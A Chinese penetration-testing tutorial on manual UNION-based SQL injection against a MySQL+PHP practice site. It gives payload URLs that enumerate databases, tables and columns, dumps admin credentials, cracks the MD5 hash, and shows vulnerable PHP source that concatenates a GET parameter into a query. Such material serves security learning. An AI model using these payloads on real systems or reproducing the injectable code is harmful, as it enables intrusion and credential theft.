66.网络安全渗透测试—[SQL注入篇5]—[MySQL+PHP-手工注入简单示例]

本文阅读 3 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都会有些许的情怀和使命感!!!

一、MySQL+PHP手工注入示例:库->表->列->行

0、MySQL数据表的相关概念:

    (1)表是数据库中最基本最重要的数据对象,用于存放数据库中的数据。     (2)表是存储数据的一种逻辑结构,表由行和列构成,因此也称二维表。     (3)每个表由若干行组成,表的第一行为各列标题,其余行都是数据。     (4)一列就是一个字段,一行就是一条记录。

      通俗的说:     (5)数据库里面存储着数据表。     (6)数据表里面存储着一行一行的数据,也成为行数据,或者行记录,其中第一行是字段名/列名,也就是各列的标题。

1、查询所有的库

    (1)exp1: http://target_sys.com/article.php?id=-1 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1              # SCHEMA_NAME代表库名              # information_schema是一个存储着所有信息的库              # SCHEMATA存储着所有的库名              # 查询结果:information_schema,blogs,mysql,performance_schema,rbac,target_sys,test,wordpress img img

    (1)exp2:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA              # 查询结果:information_schema,blogs,mysql,performance_schema,rbac,target_sys,test,wordpress

img

2、查询当前库里所有的表

    (1)exp:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()              # 查询结果:admin,article,moon_range,users

img

3、查询admin表里所有的字段

    (1)exp:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e              # admin的十六进制编码为:0x61646d696e              # 查询结果:id,username,password img

4、查询admin表的所有行数据/记录

    (1)exp:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(username,0x3a,password) from admin              # 查询结果:admin:e10adc3949ba59abbe56e057f20f883e              # md5解密网站:https://md5.cc/              # md5解密后密码为:123456 img img

5、group_concat() 查询失败的原因和解决方法

(1)失败原因: 利用gourp_concat()函数的这种查询方法不是通用的,有时候查询不全,这个原因是字段本身在被定义的时候,长度设置的不够大。

(2)解决方法:换一个回显字段进行查询,或者用函数查询长度再用字符串函数截取。这种方法将会在下面介绍。

(3)本次测试为什么可以查询成功:

后台关键源码: 通过以下源码,发现回显位是title和content字段

<?php 
    include 'init.php';
    $id =isset($_GET['id']) ? $_GET['id'] : 1;
    $result=mysql_query("select * from article where id=$id") or die(mysql_error());
    $row = mysql_fetch_array($result);
    echo "<h3>{$row['title']}</h3>";
    echo "<p>{$row['content']}</p>";
?>

我们现在去数据库里面查看: 发现title字段的类型是varchar,其长度为255;而content类型是text,text不需要设置长度,也可以能设置为0,不过存储还是最大值。 img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/120007880
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复